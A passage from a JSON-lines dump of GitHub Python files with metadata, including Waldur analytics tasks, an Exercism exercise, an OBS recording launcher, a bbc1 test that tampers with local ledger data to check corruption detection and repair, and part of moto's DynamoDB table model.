PATHS.CONFIG_FILE\n\t\tvalues['recursive'] = False\n\t\tself.experiment.addExperimentData(Models.HostInteraction.ExperimentData(values))\n\n\n\n\n\n\t\t","repo_name":"DVS-P2P/bubblestorm","sub_path":"testbed/src/testbed/master/controller/StateStart.py","file_name":"StateStart.py","file_ext":"py","file_size_in_byte":6893,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"48"} +{"seq_id":"13805847816","text":"from celery import shared_task\n\nfrom django.contrib.contenttypes import models as ct_models\nfrom django.utils import timezone\n\nfrom waldur_core.quotas import models as quota_models\nfrom waldur_core.structure import models as structure_models\n\nfrom . import cost_tracking, openstack, slurm, utils, models\n\n\n@shared_task(name='analytics.push_points')\ndef push_points():\n client = utils.get_influxdb_client()\n if not client:\n return\n points = []\n points.extend(openstack.get_tenants())\n points.extend(openstack.get_instances())\n points.extend(cost_tracking.get_total_cost())\n points.extend(slurm.get_usage())\n utils.write_points(client, points)\n\n\n@shared_task(name='analytics.sync_daily_quotas')\ndef sync_daily_quotas():\n date = timezone.now().date()\n for model in (structure_models.Project, structure_models.Customer):\n content_type = ct_models.ContentType.objects.get_for_model(model)\n for quota in quota_models.Quota.objects.filter(content_type=content_type):\n if not quota.scope:\n continue\n models.DailyQuotaHistory.objects.update_or_create_quota(\n quota.scope, quota.name, date, quota.usage)\n","repo_name":"vasim-rana/waldur-mastermind","sub_path":"src/waldur_mastermind/analytics/tasks.py","file_name":"tasks.py","file_ext":"py","file_size_in_byte":1197,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"48"} +{"seq_id":"29968169432","text":"\"\"\"Sum of Multiples Python Exercism\"\"\"\n\nfrom typing import List, Set\n\n\ndef sum_of_multiples(limit: int, divisors: List[int]) -> int:\n \"\"\"Sum the unique multiples of a number\n\n :param limit: int\n :param divisors: Set[int]\n :return int\n \"\"\"\n result: int = 0\n multiples: Set[int] = set()\n\n # remove duplicate numbers and zeros from divisors list\n divisors = [n for n in set(divisors) if n != 0]\n # print(f\"divisors={divisors}\")\n\n for j in divisors:\n for i in range(limit):\n # print(f\"{i} % {j} = {i%j}\")\n if i % j == 0:\n multiples.add(i)\n\n # print(f\"multiples={multiples}\")\n result = sum(multiples)\n\n return result\n","repo_name":"vpayno/exercism-workspace","sub_path":"python/sum_of_multiples/sum_of_multiples.py","file_name":"sum_of_multiples.py","file_ext":"py","file_size_in_byte":698,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"27700098700","text":"import asyncio\nimport argparse\nimport recorder as obsRecorder\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(description=\"OBS recording helper\")\n\n parser.add_argument(\"-f\", \"--filename\", default=\"Recording\")\n parser.add_argument(\"-p\", \"--path\", help=\"Path to use\", default=\"/Users/sebastianschuchmann/Desktop/YoutubeRecordingTools/OBS-Recording\")\n\n args = parser.parse_args()\n path = args.path\n fileName = args.filename\n\n recorder = obsRecorder.Recorder(path, fileName)\n asyncio.run(recorder.main())","repo_name":"Sebastian-Schuchmann/YoutubeRecordingTools","sub_path":"OBS-Recording/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":538,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"19765973290","text":"\nimport pytest\n\nimport os\nimport binascii\nimport time\nimport random\n\nimport sys\nsys.path.extend([\"../\"])\nfrom bbc1.core import bbclib\nfrom bbc1.core.message_key_types import KeyType\nfrom bbc1.core import bbc_app\nfrom testutils import prepare, get_core_client, start_core_thread, make_client, domain_setup_utility\n\n\nLOGLEVEL = 'debug'\nLOGLEVEL = 'none'\n\n\ncore_num = 5\nclient_num = 5\ncores = None\nclients = None\ndomain_id = bbclib.get_new_id(\"testdomain\")\nasset_group_id = bbclib.get_new_id(\"asset_group_1\")\ntransactions = list()\nmsg_processor = [None for i in range(client_num)]\n\nasset_file_content = b\"AAAAAAAAAAAAAAAAAAAAAAAAA\"\n\nasset_id_0 = None\n\n\ndef make_transaction(user_id, keypair):\n txobj = bbclib.make_transaction(relation_num=1, witness=True)\n bbclib.add_relation_asset(txobj, relation_idx=0, asset_group_id=asset_group_id, user_id=user_id,\n asset_body=\"data=%d\" % random.randint(1, 10000),\n asset_file=asset_file_content)\n txobj.witness.add_witness(user_id)\n txobj.add_signature(user_id, keypair=keypair)\n txobj.digest()\n return txobj\n\n\nclass MessageProcessor(bbc_app.Callback):\n def __init__(self, index=0):\n super(MessageProcessor, self).__init__(self)\n self.idx = index\n\n\nclass TestBBcAppClient(object):\n\n def test_00_setup(self):\n print(\"\\n-----\", sys._getframe().f_code.co_name, \"-----\")\n print(\"domain_id =\", binascii.b2a_hex(domain_id))\n\n global msg_processor\n prepare(core_num=core_num, client_num=client_num, loglevel=LOGLEVEL)\n for i in range(core_num):\n start_core_thread(index=i, core_port_increment=i, p2p_port_increment=i)\n domain_setup_utility(i, domain_id) # system administrator\n time.sleep(1)\n for i in range(client_num):\n msg_processor[i] = MessageProcessor(index=i)\n make_client(index=i, core_port_increment=i, callback=msg_processor[i])\n time.sleep(1)\n\n global cores, clients\n cores, clients = get_core_client()\n\n def test_10_setup_network(self):\n print(\"\\n-----\", sys._getframe().f_code.co_name, \"-----\")\n ret = clients[0]['app'].get_domain_neighborlist(domain_id=domain_id)\n assert ret\n dat = msg_processor[0].synchronize()\n print(\"[0] nodeinfo=\", dat[0])\n node_id, ipv4, ipv6, port, domain0 = dat[0]\n\n for i in range(1, client_num):\n clients[i]['app'].send_domain_ping(domain_id, ipv4, ipv6, port)\n print(\"*** wait 15 seconds ***\")\n time.sleep(15)\n\n for i in range(core_num):\n print(cores[i].networking.domains[domain_id]['neighbor'].show_list())\n assert len(cores[i].networking.domains[domain_id]['neighbor'].nodeinfo_list) == core_num - 1\n\n def test_11_register(self):\n print(\"\\n-----\", sys._getframe().f_code.co_name, \"-----\")\n for cl in clients:\n ret = cl['app'].register_to_core()\n assert ret\n time.sleep(1)\n\n def test_12_make_transaction(self):\n print(\"\\n-----\", sys._getframe().f_code.co_name, \"-----\")\n global transactions\n for i, cl in enumerate(clients):\n user_id = cl['user_id']\n keypair = cl['keypair']\n transaction = make_transaction(user_id, keypair)\n print(\"register transaction=\", binascii.b2a_hex(transaction.transaction_id))\n cl['app'].insert_transaction(transaction)\n dat = msg_processor[i].synchronize()\n assert KeyType.transaction_id in dat\n assert dat[KeyType.transaction_id] == transaction.transaction_id\n transactions.append(transaction)\n if i == 0:\n global asset_id_0\n asset_id_0 = transaction.relations[0].asset.asset_id\n time.sleep(2)\n\n def test_13_search_transaction(self):\n print(\"\\n-----\", sys._getframe().f_code.co_name, \"-----\")\n print(\"find txid=\", binascii.b2a_hex(transactions[0].transaction_id))\n clients[0]['app'].search_transaction(transactions[0].transaction_id)\n dat = msg_processor[0].synchronize()\n assert dat[KeyType.status] == 0\n #assert len(dat[KeyType.compromised_transaction_data]) > 0\n txobj, fmt_type = bbclib.deserialize(dat[KeyType.transaction_data])\n print(txobj)\n\n print(\"find txid=\", binascii.b2a_hex(transactions[1].transaction_id))\n clients[1]['app'].search_transaction(transactions[1].transaction_id)\n dat = msg_processor[1].synchronize()\n assert dat[KeyType.status] == 0\n #assert len(dat[KeyType.compromised_transaction_data]) > 0\n txobj, fmt_type = bbclib.deserialize(dat[KeyType.transaction_data])\n print(txobj)\n\n def test_14_forge_transaction(self):\n print(\"\\n-----\", sys._getframe().f_code.co_name, \"-----\")\n\n print(\"* forge transaction[0] and update the data in node 0\")\n txobj = transactions[0]\n txdata = bytearray(bbclib.serialize(txobj))\n txdata[int(len(txdata)/3)] = txdata[int(len(txdata)/3)] + 0x01\n data_handler = cores[0].networking.domains[domain_id]['data']\n sql = \"UPDATE transaction_table SET transaction_data = %s WHERE transaction_id = %s\" % \\\n (data_handler.db_adaptors[0].placeholder, data_handler.db_adaptors[0].placeholder)\n data_handler.exec_sql(sql=sql, args=(bytes(txdata), txobj.transaction_id), commit=True)\n\n print(\"* forge transaction[1] with the data of transaction[2] and update the data in node 1\")\n txobj = transactions[1]\n txdata = bbclib.serialize(transactions[2])\n data_handler = cores[1].networking.domains[domain_id]['data']\n sql = \"UPDATE transaction_table SET transaction_data = %s WHERE transaction_id = %s\" % \\\n (data_handler.db_adaptors[0].placeholder, data_handler.db_adaptors[0].placeholder)\n data_handler.exec_sql(sql=sql, args=(bytes(txdata), txobj.transaction_id), commit=True)\n\n def test_15_search_transaction(self):\n print(\"\\n-----\", sys._getframe().f_code.co_name, \"-----\")\n print(\"find txid=\", binascii.b2a_hex(transactions[0].transaction_id))\n clients[0]['app'].search_transaction(transactions[0].transaction_id)\n dat = msg_processor[0].synchronize()\n assert dat[KeyType.status] < 0\n assert len(dat[KeyType.compromised_transaction_data]) > 0\n\n print(\"find txid=\", binascii.b2a_hex(transactions[1].transaction_id))\n clients[1]['app'].search_transaction(transactions[1].transaction_id)\n dat = msg_processor[1].synchronize()\n assert dat[KeyType.status] < 0\n assert len(dat[KeyType.compromised_transaction_data]) > 0\n\n def test_16_send_repair_request(self):\n print(\"\\n-----\", sys._getframe().f_code.co_name, \"-----\")\n clients[0]['app'].request_to_repair_transaction(transactions[0].transaction_id)\n clients[1]['app'].request_to_repair_transaction(transactions[1].transaction_id)\n print(\"--- wait 5 seconds ---\")\n time.sleep(5)\n\n def test_17_search_transaction(self):\n print(\"\\n-----\", sys._getframe().f_code.co_name, \"-----\")\n print(\"find txid=\", binascii.b2a_hex(transactions[0].transaction_id))\n clients[0]['app'].search_transaction(transactions[0].transaction_id)\n dat = msg_processor[0].synchronize()\n assert dat[KeyType.status] == 0\n assert KeyType.compromised_transaction_data not in dat\n assert KeyType.transaction_data in dat\n print(bbclib.deserialize(dat[KeyType.transaction_data]))\n\n print(\"find txid=\", binascii.b2a_hex(transactions[1].transaction_id))\n clients[1]['app'].search_transaction(transactions[1].transaction_id)\n dat = msg_processor[1].synchronize()\n assert dat[KeyType.status] == 0\n assert KeyType.compromised_transaction_data not in dat\n assert KeyType.transaction_data in dat\n\n def test_20_forge_asset_file(self):\n print(\"\\n-----\", sys._getframe().f_code.co_name, \"-----\")\n path = os.path.join(\".bbc1-9000\", domain_id.hex(), asset_group_id.hex(), asset_id_0.hex())\n with open(path, \"a\") as f:\n f.write(\"XXXX\")\n with open(path, \"r\") as f:\n print(f.read())\n\n def test_21_search_transaction(self):\n print(\"\\n-----\", sys._getframe().f_code.co_name, \"-----\")\n print(\"find txid=\", binascii.b2a_hex(transactions[0].transaction_id))\n clients[0]['app'].search_transaction(transactions[0].transaction_id)\n dat = msg_processor[0].synchronize()\n assert dat[KeyType.status] < 0\n assert len(dat[KeyType.compromised_asset_files]) > 0\n print(\"asset file is compromised\")\n\n def test_22_send_repair_request(self):\n print(\"\\n-----\", sys._getframe().f_code.co_name, \"-----\")\n clients[0]['app'].request_to_repair_asset(asset_group_id=asset_group_id, asset_id=asset_id_0)\n print(\"--- wait 3 seconds ---\")\n time.sleep(3)\n\n def test_23_search_transaction(self):\n print(\"\\n-----\", sys._getframe().f_code.co_name, \"-----\")\n print(\"find txid=\", binascii.b2a_hex(transactions[0].transaction_id))\n clients[0]['app'].search_transaction(transactions[0].transaction_id)\n dat = msg_processor[0].synchronize()\n assert dat[KeyType.status] == 0\n assert KeyType.compromised_asset_files not in dat\n\n @pytest.mark.unregister\n def test_98_unregister(self):\n for cl in clients:\n ret = cl['app'].unregister_from_core()\n assert ret\n\n\nif __name__ == '__main__':\n pytest.main()\n","repo_name":"beyond-blockchain/bbc1","sub_path":"tests/test_bbc_app_multi_core_compromising_data.py","file_name":"test_bbc_app_multi_core_compromising_data.py","file_ext":"py","file_size_in_byte":9608,"program_lang":"python","lang":"en","doc_type":"code","stars":79,"dataset":"github-code","pt":"48"} +{"seq_id":"32302785541","text":"from collections import defaultdict\nimport copy\n\nfrom typing import Any, Dict, Optional, List, Tuple, Iterator, Sequence\nfrom moto.core import BaseModel, CloudFormationModel\nfrom moto.core.utils import unix_time, unix_time_millis, utcnow\nfrom moto.dynamodb.comparisons import get_filter_expression, get_expected\nfrom moto.dynamodb.exceptions import (\n InvalidIndexNameError,\n HashKeyTooLong,\n RangeKeyTooLong,\n ConditionalCheckFailed,\n InvalidAttributeTypeError,\n MockValidationException,\n InvalidConversion,\n SerializationException,\n)\nfrom moto.dynamodb.models.utilities import dynamo_json_dump\nfrom moto.dynamodb.models.dynamo_type import DynamoType, Item\nfrom moto.dynamodb.limits import HASH_KEY_MAX_LENGTH, RANGE_KEY_MAX_LENGTH\nfrom moto.moto_api._internal import mock_random\n\n\nclass SecondaryIndex(BaseModel):\n def __init__(\n self,\n index_name: str,\n schema: List[Dict[str, str]],\n projection: Dict[str, Any],\n table_key_attrs: List[str],\n ):\n self.name = index_name\n self.schema = schema\n self.table_key_attrs = table_key_attrs\n self.projection = projection\n self.schema_key_attrs = [k[\"AttributeName\"] for k in schema]\n\n def project(self, item: Item) -> Item:\n \"\"\"\n Enforces the ProjectionType of this Index (LSI/GSI)\n Removes any non-wanted attributes from the item\n :param item:\n :return:\n \"\"\"\n if self.projection:\n projection_type = self.projection.get(\"ProjectionType\", None)\n key_attributes = self.table_key_attrs + [\n key[\"AttributeName\"] for key in self.schema\n ]\n\n if projection_type == \"KEYS_ONLY\":\n # 'project' expects lists of lists of strings\n # project([[\"attr1\"], [\"nested\", \"attr2\"]]\n #\n # In our case, we need to convert\n # [\"key1\", \"key2\"]\n # into\n # [[\"key1\"], [\"key2\"]]\n item = item.project([[attr] for attr in key_attributes])\n elif projection_type == \"INCLUDE\":\n allowed_attributes = key_attributes\n allowed_attributes.extend(self.projection.get(\"NonKeyAttributes\", []))\n item = item.project([[attr] for attr in allowed_attributes])\n # ALL is handled implicitly by not filtering\n return item\n\n\nclass LocalSecondaryIndex(SecondaryIndex):\n def describe(self) -> Dict[str, Any]:\n return {\n \"IndexName\": self.name,\n \"KeySchema\": self.schema,\n \"Projection\": self.projection,\n }\n\n @staticmethod\n def create(dct: Dict[str, Any], table_key_attrs: List[str]) -> \"LocalSecondaryIndex\": # type: ignore[misc]\n return LocalSecondaryIndex(\n index_name=dct[\"IndexName\"],\n schema=dct[\"KeySchema\"],\n projection=dct[\"Projection\"],\n table_key_attrs=table_key_attrs,\n )\n\n\nclass GlobalSecondaryIndex(SecondaryIndex):\n def __init__(\n self,\n index_name: str,\n schema: List[Dict[str, str]],\n projection: Dict[str, Any],\n table_key_attrs: List[str],\n status: str = \"ACTIVE\",\n throughput: Optional[Dict[str, Any]] = None,\n ):\n super().__init__(index_name, schema, projection, table_key_attrs)\n self.status = status\n self.throughput = throughput or {\n \"ReadCapacityUnits\": 0,\n \"WriteCapacityUnits\": 0,\n }\n\n def describe(self) -> Dict[str, Any]:\n return {\n \"IndexName\": self.name,\n \"KeySchema\": self.schema,\n \"Projection\": self.projection,\n \"IndexStatus\": self.status,\n \"ProvisionedThroughput\": self.throughput,\n }\n\n @staticmethod\n def create(dct: Dict[str, Any], table_key_attrs: List[str]) -> \"GlobalSecondaryIndex\": # type: ignore[misc]\n return GlobalSecondaryIndex(\n index_name=dct[\"IndexName\"],\n schema=dct[\"KeySchema\"],\n projection=dct[\"Projection\"],\n table_key_attrs=table_key_attrs,\n throughput=dct.get(\"ProvisionedThroughput\", None),\n )\n\n def update(self, u: Dict[str, Any]) -> None:\n self.name = u.get(\"IndexName\", self.name)\n self.schema = u.get(\"KeySchema\", self.schema)\n self.projection = u.get(\"Projection\", self.projection)\n self.throughput = u.get(\"ProvisionedThroughput\", self.throughput)\n\n\nclass StreamRecord(BaseModel):\n def __init__(\n self,\n table: \"Table\",\n stream_type: str,\n event_name: str,\n old: Optional[Item],\n new: Optional[Item],\n seq: int,\n ):\n old_a = old.to_json()[\"Attributes\"] if old is not None else {}\n new_a = new.to_json()[\"Attributes\"] if new is not None else {}\n\n rec = old if old is not None else new\n keys = {table.hash_key_attr: rec.hash_key.to_json()} # type: ignore[union-attr]\n if table.range_key_attr is not None and rec is not None:\n keys[table.range_key_attr] = rec.range_key.to_json() # type: ignore\n\n self.record: Dict[str, Any] = {\n \"eventID\": mock_random.uuid4().hex,\n \"eventName\": event_name,\n \"eventSource\": \"aws:dynamodb\",\n \"eventVersion\": \"1.0\",\n \"awsRegion\": \"us-east-1\",\n \"dynamodb\": {\n \"StreamViewType\": stream_type,\n \"ApproximateCreationDateTime\": utcnow().isoformat(),\n \"SequenceNumber\": str(seq),\n \"SizeBytes\": 1,\n \"Keys\": keys,\n },\n }\n\n if stream_type in (\"NEW_IMAGE\", \"NEW_AND_OLD_IMAGES\"):\n self.record[\"dynamodb\"][\"NewImage\"] = new_a\n if stream_type in (\"OLD_IMAGE\", \"NEW_AND_OLD_IMAGES\"):\n self.record[\"dynamodb\"][\"OldImage\"] = old_a\n\n # This is a substantial overestimate but it's the easiest to do now\n self.record[\"dynamodb\"][\"SizeBytes\"] = len(\n dynamo_json_dump(self.record[\"dynamodb\"])\n )\n\n def to_json(self) -> Dict[str, Any]:\n return self.record\n\n\nclass StreamShard(BaseModel):\n def __init__(self, account_id: str, table: \"Table\"):\n self.account_id = account_id\n self.table = table\n self.id = \"shardId-00000001541626099285-f35f62ef\"\n self.starting_sequence_number = 1100000000017454423009\n self.items: List[StreamRecord] = []\n self.created_on = utcnow()\n\n def to_json(self) -> Dict[str, Any]:\n return {\n \"ShardId\": self.id,\n \"SequenceNumberRange\": {\n \"StartingSequenceNumber\": str(self.starting_sequence_number)\n },\n }\n\n def add(self, old: Optional[Item], new: Optional[Item]) -> None:\n t = self.table.stream_specification[\"StreamViewType\"] # type: ignore\n if old is None:\n event_name = \"INSERT\"\n elif new is None:\n event_name = \"REMOVE\"\n else:\n event_name = \"MODIFY\"\n seq = len(self.items) + self.starting_sequence_number\n self.items.append(StreamRecord(self.table, t, event_name, old, new, seq))\n result = None\n from moto.awslambda import lambda_backends\n\n for arn, esm in self.table.lambda_event_source_mappings.items():\n region = arn[\n len(\"arn:aws:lambda:\") : arn.index(\":\", len(\"arn:aws:lambda:\"))\n ]\n\n result = lambda_backends[self.account_id][region].send_dynamodb_items(\n arn, self.items, esm.event_source_arn\n )\n\n if result:\n self.items = []\n\n def get(self, start: int, quantity: int) -> List[Dict[str, Any]]:\n start -= self.starting_sequence_number\n assert start >= 0\n end = start + quantity\n return [i.to_json() for i in self.items[start:end]]\n\n\nclass Table(CloudFormationModel):\n def __init__(\n self,\n table_name: str,\n account_id: str,\n region: str,\n schema: List[Dict[str, Any]],\n attr: List[Dict[str, str]],\n throughput: Optional[Dict[str, int]] = None,\n billing_mode: Optional[str] = None,\n indexes: Optional[List[Dict[str, Any]]] = None,\n global_indexes: Optional[List[Dict[str, Any]]] = None,\n streams: Optional[Dict[str, Any]] = None,\n sse_specification: Optional[Dict[str, Any]] = None,\n tags: Optional[List[Dict[str, str]]] = None,\n ):\n self.name = table_name\n self.account_id = account_id\n self.region_name = region\n self.attr = attr\n self.schema = schema\n self.range_key_attr: Optional[str] = None\n self.hash_key_attr: str = \"\"\n self.range_key_type: Optional[str] = None\n self.hash_key_type: str = \"\"\n for elem in schema:\n attr_type = [\n a[\"AttributeType\"]\n for a in attr\n if a[\"AttributeName\"] == elem[\"AttributeName\"]\n ][0]\n if elem[\"KeyType\"] == \"HASH\":\n self.hash_key_attr = elem[\"AttributeName\"]\n self.hash_key_type = attr_type\n elif elem[\"KeyType\"] == \"RANGE\":\n self.range_key_attr = elem[\"AttributeName\"]\n self.range_key_type = attr_type\n self.table_key_attrs = [\n key for key in (self.hash_key_attr, self.range_key_attr) if key is not None\n ]\n self.billing_mode = billing_mode\n if throughput is None:\n self.throughput = {\"WriteCapacityUnits\": 0, \"ReadCapacityUnits\": 0}\n else:\n self.throughput = throughput\n self.throughput[\"NumberOfDecreasesToday\"] = 0\n self.indexes = [\n LocalSecondaryIndex.create(i, self.table_key_attrs)\n for i in (indexes if indexes else [])\n ]\n self.global_indexes = [\n GlobalSecondaryIndex.create(i, self.table_key_attrs)\n for i in (global_indexes if global_indexes else [])\n ]\n self.created_at = utcnow()\n self.items = defaultdict(dict) # type: ignore # [hash: DynamoType] or [hash: [range: DynamoType]]\n self.table_arn = self._generate_arn(table_name)\n self.tags = tags or []\n self.ttl = {\n \"TimeToLiveStatus\": \"DISABLED\" # One of 'ENABLING'|'DISABLING'|'ENABLED'|'DISABLED',\n # 'AttributeName': 'string' # Can contain this\n }\n self.stream_specification: Optional[Dict[str, Any]] = {\"StreamEnabled\": False}\n self.latest_stream_label: Optional[str] = None\n self.stream_shard: Optional[StreamShard] = None\n self.set_stream_specification(streams)\n self.lambda_event_source_mappings: Dict[str, Any] = {}\n self.continuous_backups: Dict[str, Any] = {\n \"ContinuousBackupsStatus\": \"ENABLED\", # One of 'ENABLED'|'DISABLED', it's enabled by default\n \"PointInTimeRecoveryDescription\": {\n \"PointInTimeRecoveryStatus\": \"DISABLED\" # One of 'ENABLED'|'DISABLED'\n },\n }\n self.sse_specification = sse_specification\n if self.sse_specification and \"KMSMasterKeyId\" not in self.sse_specification:\n self.sse_specification[\"KMSMasterKeyId\"] = self._get_default_encryption_key(\n account_id, region\n )\n\n def _get_default_encryption_key(self, account_id: str, region: str) -> str:\n from moto.kms import kms_backends\n\n # https://aws.amazon.com/kms/features/#AWS_Service_Integration\n # An AWS managed CMK is created automatically when you first create\n # an encrypted resource using an AWS service integrated with KMS.\n kms = kms_backends[account_id][region]\n ddb_alias = \"alias/aws/dynamodb\"\n if not kms.alias_exists(ddb_alias):\n key = kms.create_key(\n policy=\"\",\n key_usage=\"ENCRYPT_DECRYPT\",\n key_spec=\"SYMMETRIC_DEFAULT\",\n description=\"Default master key that protects my DynamoDB table storage\",\n tags=None,\n )\n kms.add_alias(key.id, ddb_alias)\n ebs_key = kms.describe_key(ddb_alias)\n return ebs_key.arn\n\n @classmethod\n def has_cfn_attr(cls, attr: str) -> bool:\n return attr in [\"Arn\", \"StreamArn\"]\n\n def get_cfn_attribute(self, attribute_name: str) -> Any:\n from moto.cloudformation.exceptions import UnformattedGetAttTemplateException\n\n if attribute_name == \"Arn\":\n return self.table_arn\n elif attribute_name == \"StreamArn\" and self.stream_specification:\n return self.describe()[\"TableDescription\"][\"LatestStreamArn\"]\n\n raise UnformattedGetAttTemplateException()\n\n @property\n def physical_resource_id(self) -> str:\n return self.name\n\n @property\n def attribute_keys(self) -> List[str]:\n # A set of all the hash or range attributes for all indexes\n def keys_from_index(idx: SecondaryIndex) -> List[str]:\n schema = idx.schema\n return [attr[\"AttributeName\"] for attr in schema]\n\n fieldnames = copy.copy(self.table_key_attrs)\n for idx in self.indexes + self.global_indexes:\n fieldnames += keys_from_index(idx)\n return fieldnames\n\n @staticmethod\n def cloudformation_name_type() -> str:\n return \"TableName\"\n\n @staticmethod\n def cloudformation_type() -> str:\n # https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-dynamodb-table.html\n return \"AWS::DynamoDB::Table\"\n\n @classmethod\n def create_from_cloudformation_json( # type: ignore[misc]\n cls,\n resource_name: str,\n cloudformation_json: Dict[str, Any],\n account_id: str,\n region_name: str,\n **kwargs: Any,\n ) -> \"Table\":\n from moto.dynamodb.models import dynamodb_backends\n\n properties = cloudformation_json[\"Properties\"]\n params = {}\n\n if \"KeySchema\" in properties:\n params[\"schema\"] = properties[\"KeySchema\"]\n if \"AttributeDefinitions\" in properties:\n params[\"attr\"] = properties[\"AttributeDefinitions\"]\n if \"GlobalSecondaryIndexes\" in properties:\n params[\"global_indexes\"] = properties[\"GlobalSecondaryIndexes\"]\n if \"ProvisionedThroughput\" in properties:\n params[\"throughput\"] = properties[\"ProvisionedThroughput\"]\n if \"LocalSecondaryIndexes\" in properties:\n params[\"indexes\"] = properties[\"LocalSecondaryIndexes\"]\n if \"StreamSpecification\" in properties:\n params[\"streams\"] = properties[\"StreamSpecification\"]\n\n table = dynamodb_backends[account_id][region_name].create_table(\n name=resource_name, **params\n )\n return table\n\n @classmethod\n def delete_from_cloudformation_json( # type: ignore[misc]\n cls,\n resource_name: str,\n cloudformation_json: Dict[str, Any],\n account_id: str,\n region_name: str,\n ) -> None:\n from moto.dynamodb.models import dynamodb_backends\n\n dynamodb_backends[account_id][region_name].delete_table(name=resource_name)\n\n def _generate_arn(self, name: str) -> str:\n return f\"arn:aws:dynamodb:{self.region_name}:{self.account_id}:table/{name}\"\n\n def set_stream_specification(self, streams: Optional[Dict[str, Any]]) -> None:\n self.stream_specification = streams\n if (\n self.stream_specification\n and streams\n and (streams.get(\"StreamEnabled\") or streams.get(\"StreamViewType\"))\n ):\n self.stream_specification[\"StreamEnabled\"] = True\n self.latest_stream_label = utcnow().isoformat()\n self.stream_shard = StreamShard(self.account_id, self)\n else:\n self.stream_specification = {\"StreamEnabled\": False}\n\n def describe(self, base_key: str = \"TableDescription\") -> Dict[str, Any]:\n results: Dict[str, Any] = {\n base_key: {\n \"AttributeDefinitions\": self.attr,\n \"ProvisionedThroughput\": self.throughput,\n \"BillingModeSummary\": {\"BillingMode\": self.billing_mode},\n \"TableSizeBytes\": 0,\n \"TableName\": self.name,\n \"TableStatus\": \"ACTIVE\",\n \"TableArn\": self.table_arn,\n \"KeySchema\": self.schema,\n \"ItemCount\": len(self),\n \"CreationDateTime\": unix_time(self.created_at),\n \"GlobalSecondaryIndexes\": [\n index.describe() for index in self.global_indexes\n ],\n \"LocalSecondaryIndexes\": [index.describe() for index in self.indexes],\n }\n }\n if self.latest_stream_label:\n results[base_key][\"LatestStreamLabel\"] = self.latest_stream_label\n results[base_key][\n \"LatestStreamArn\"\n ] = f\"{self.table_arn}/stream/{self.latest_stream_label}\"\n if self.stream_specification and self.stream_specification[\"StreamEnabled\"]:\n results[base_key][\"StreamSpecification\"] = self.stream_specification\n if self.sse_specification and self.sse_specification.get(\"Enabled\") is True:\n results[base_key][\"SSEDescription\"] = {\n \"Status\": \"ENABLED\",\n \"SSEType\": \"KMS\",\n \"KMSMasterKeyArn\": self.sse_specification.get(\"KMSMasterKeyId\"),\n }\n return results\n\n def __len__(self) -> int:\n return sum(\n [(len(value) if self.has_range_key else 1) for value in self.items.values()]\n )\n\n @property\n def hash_key_names(self) -> List[str]:\n keys = [self.hash_key_attr]\n for index in self.global_indexes:\n for key in index.schema:\n if key[\"KeyType\"] == \"HASH\":\n keys.append(key[\"AttributeName\"])\n return keys\n\n @property\n def range_key_names(self) -> List[str]:\n keys = [self.range_key_attr] if self.has_range_key else []\n for index in self.global_indexes:\n for key in index.schema:\n if key[\"KeyType\"] == \"RANGE\":\n keys.append(key[\"AttributeName\"])\n return keys # type: ignore[return-value]\n\n def _validate_key_sizes(self, item_attrs: Dict[str, Any]) -> None:\n for hash_name in self.hash_key_names:\n hash_value = item_attrs.get(hash_name)\n if hash_value:\n if DynamoType(hash_value).size() > HASH_KEY_MAX_LENGTH:\n raise HashKeyTooLong\n for range_name in self.range_key_names:\n range_value = item_attrs.get(range_name)\n if range_value:\n if DynamoType(range_value).size() > RANGE_KEY_MAX_LENGTH:\n raise RangeKeyTooLong\n\n def _validate_item_types(\n self, item_attrs: Dict[str, Any], attr: Optional[str] = None\n ) -> None:\n for key, value in item_attrs.items():\n if isinstance(value, dict):\n self._validate_item_types(value, attr=key if attr is None else key)\n elif isinstance(value, int) and key == \"N\":\n raise InvalidConversion\n if key == \"S\":\n # This scenario is usually caught by boto3, but the user can disable parameter validation\n # Which is why we need to catch it 'server-side' as well\n if isinstance(value, int):\n raise SerializationException(\n \"NUMBER_VALUE cannot be converted to String\"\n )\n if attr and attr in self.table_key_attrs and isinstance(value, dict):\n raise SerializationException(\n \"Start of structure or map found where not expected\"\n )\n\n def put_item(\n self,\n item_attrs: Dict[str, Any],\n expected: Optional[Dict[str, Any]] = None,\n condition_expression: Optional[str] = None,\n expression_attribute_names: Optional[Dict[str, str]] = None,\n expression_attribute_values: Optional[Dict[str, Any]] = None,\n overwrite: bool = False,\n ) -> Item:\n if self.hash_key_attr not in item_attrs.keys():\n raise MockValidationException(\n \"One or more parameter values were invalid: Missing the key \"\n + self.hash_key_attr\n + \" in the item\"\n )\n hash_value = DynamoType(item_attrs[self.hash_key_attr])\n if self.range_key_attr is not None:\n if self.range_key_attr not in item_attrs.keys():\n raise MockValidationException(\n f\"One or more parameter values were invalid: Missing the key {self.range_key_attr} in the item\"\n )\n range_value = DynamoType(item_attrs[self.range_key_attr])\n else:\n range_value = None\n\n if hash_value.type != self.hash_key_type:\n raise InvalidAttributeTypeError(\n self.hash_key_attr,\n expected_type=self.hash_key_type,\n actual_type=hash_value.type,\n )\n if range_value and range_value.type != self.range_key_type:\n raise InvalidAttributeTypeError(\n self.range_key_attr,\n expected_type=self.range_key_type,\n actual_type=range_value.type,\n )\n\n self._validate_item_types(item_attrs)\n self._validate_key_sizes(item_attrs)\n\n if expected is None:\n expected = {}\n lookup_range_value = range_value\n else:\n expected_range_value = expected.get(self.range_key_attr, {}).get(\"Value\") # type: ignore\n if expected_range_value is None:\n lookup_range_value = range_value\n else:\n lookup_range_value = DynamoType(expected_range_value)\n current = self.get_item(hash_value, lookup_range_value)\n item = Item(hash_value, range_value, item_attrs)\n\n if not overwrite:\n if not get_expected(expected).expr(current):\n raise ConditionalCheckFailed\n condition_op = get_filter_expression(\n condition_expression,\n expression_attribute_names,\n expression_attribute_values,\n )\n if not condition_op.expr(current):\n raise ConditionalCheckFailed\n\n if range_value:\n self.items[hash_value][range_value] = item\n else:\n self.items[hash_value] = item # type: ignore[assignment]\n\n if self.stream_shard is not None:\n self.stream_shard.add(current, item)\n\n return item\n\n def __nonzero__(self) -> bool:\n return True\n\n def __bool__(self) -> bool:\n return 